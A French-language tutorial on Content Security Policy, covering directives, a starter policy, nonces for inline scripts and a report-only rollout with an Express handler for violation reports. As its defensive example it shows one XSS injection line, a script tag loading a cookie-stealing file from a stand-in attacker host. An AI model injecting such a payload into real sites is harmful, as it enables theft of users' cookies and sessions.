Comprendre la Content Security Policy (CSP)
La Content Security Policy est une fonctionnalité du navigateur qui limite les sources d'où une page peut charger des scripts, des styles, des images et d'autres ressources. C'est l'une des rares défenses qui aident réellement après qu'un attaquant a déjà réussi à injecter quelque chose dans votre page. L'échappement des entrées utilisateur empêche le XSS de se produire ; la CSP limite les dégâts lorsque l'échappement échoue à un endroit que vous avez manqué.
Quel problème elle résout réellement
Supposons que le champ de commentaire de votre site n'échappe pas correctement les entrées, et qu'un attaquant envoie :
<script src="https://evil.example/steal-cookies.js"></script>
Sans CSP, si cette chaîne atteint un jour la page sans échappement, le navigateur l'exécute tout simplement : ce script s'exécute alors avec un accès complet à la page, aux cookies et à tout ce que l'utilisateur connecté peut faire. La CSP ne corrige pas le bug d'échappement, mais elle peut empêcher le script injecté de se charger, car le navigateur refuse de récupérer des scripts depuis des origines que la page n'a pas explicitement autorisées.
C'est de la défense en profondeur, pas un substitut à la correction du bug d'injection ; mais les applications réelles ont des bugs d'injection qu'elles ignorent encore, et la CSP est l'un des rares contrôles qui aident même dans ce cas.
Comment elle est transmise
La CSP est un en-tête, envoyé avec la réponse :
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
Elle peut aussi être définie via une balise <meta>, bien que l'en-tête soit préférable : une balise meta ne peut pas couvrir le tout début du chargement de la page et ne prend pas du tout en charge certaines directives.
Directives : listes de sources par type de ressource
Chaque directive contrôle un type de ressource :
default-src: valeur de repli pour toute directive non définie explicitement.script-src: d'où le JavaScript peut être chargé.style-src: d'où le CSS peut être chargé.img-src: d'où les images peuvent être chargées.connect-src: cibles autorisées pourfetch,XMLHttpRequestet les WebSockets.frame-ancestors: qui est autorisé à intégrer cette page dans une<iframe>(le remplaçant moderne de l'en-têteX-Frame-Options).
Une liste de sources peut contenir :
'self': l'origine de la page elle-même.- Des origines précises :
https://cdn.example.com. 'none': rien du tout.'unsafe-inline': autorise les blocs<script>/<style>en ligne et les attributson*. À éviter spécifiquement pourscript-src: cela annule l'essentiel de l'intérêt de la CSP, puisque c'est précisément ce qui permet à une balise<script>injectée de s'exécuter.'unsafe-eval': autoriseeval(),new Function()et équivalents. À éviter aussi.
Une politique de départ réaliste
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
object-src 'none';
Quelques-unes méritent une explication :
object-src 'none'bloque<object>/<embed>, historiquement source de contournements XSS à base de Flash. Bloquez-les même si rien sur la page ne semble les utiliser.base-uri 'self'empêche un attaquant d'injecter une balise<base>qui réécrirait discrètement la résolution de toutes vos URL relatives (y compris les attributssrcdes scripts).img-src 'self' data: https:est volontairement plus permissive que le reste : les images sont un type de ressource à bien plus faible risque, et être strict ici casse surtout du contenu légitime sans améliorer sensiblement la sécurité.
Scripts en ligne sans unsafe-inline : les nonces
Les applications réelles ont souvent besoin de certains scripts en ligne : extraits d'analytique, objets de configuration rendus côté serveur. Un nonce (une valeur aléatoire générée à neuf pour chaque requête) permet d'autoriser des scripts en ligne précis sans ouvrir la porte à tous :
Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'
<script nonce="8f3jd92kfmz">
window.__CONFIG__ = { userId: 42 };
</script>
Un attaquant qui injecte <script> dans votre page n'a aucun moyen de connaître le nonce de la requête en cours (il est régénéré côté serveur à chaque réponse), si bien que son script injecté reste bloqué, tandis que votre script en ligne légitime (avec le nonce correspondant) s'exécute.
Déployer sans casser votre propre site
Déployer directement une CSP en mode appliqué sur une application réelle casse généralement quelque chose dont vous ignoriez l'existence : un widget tiers qui charge un script depuis une origine oubliée dans la liste d'autorisation, un gestionnaire onclick en ligne vieux de plusieurs années. Le mode report-only permet de les trouver sans rien bloquer :
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations
Le navigateur évalue la politique et envoie un rapport JSON à report-uri pour tout ce qui aurait été bloqué, mais ne bloque rien. Restez un moment en report-only, corrigez ce qui apparaît dans les rapports, puis passez à l'en-tête appliqué lorsque les rapports de violation se calment.
app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
console.warn('CSP violation:', req.body['csp-report']);
res.status(204).end();
});
À retenir
La CSP n'arrêtera pas tous les vecteurs XSS, et une politique avec 'unsafe-inline' dans script-src n'offre presque aucune de la protection qu'on lui suppose. Mais une politique réelle et restrictive (pas d'unsafe-inline, pas d'unsafe-eval, une liste explicite d'origines de scripts) transforme « l'attaquant a trouvé un point d'injection » de « exécution complète de script sur votre page » en « le navigateur refuse silencieusement de l'exécuter ». C'est un filet de sécurité précieux contre les bugs d'injection que vous n'avez pas encore trouvés, c'est-à-dire ceux qui comptent le plus.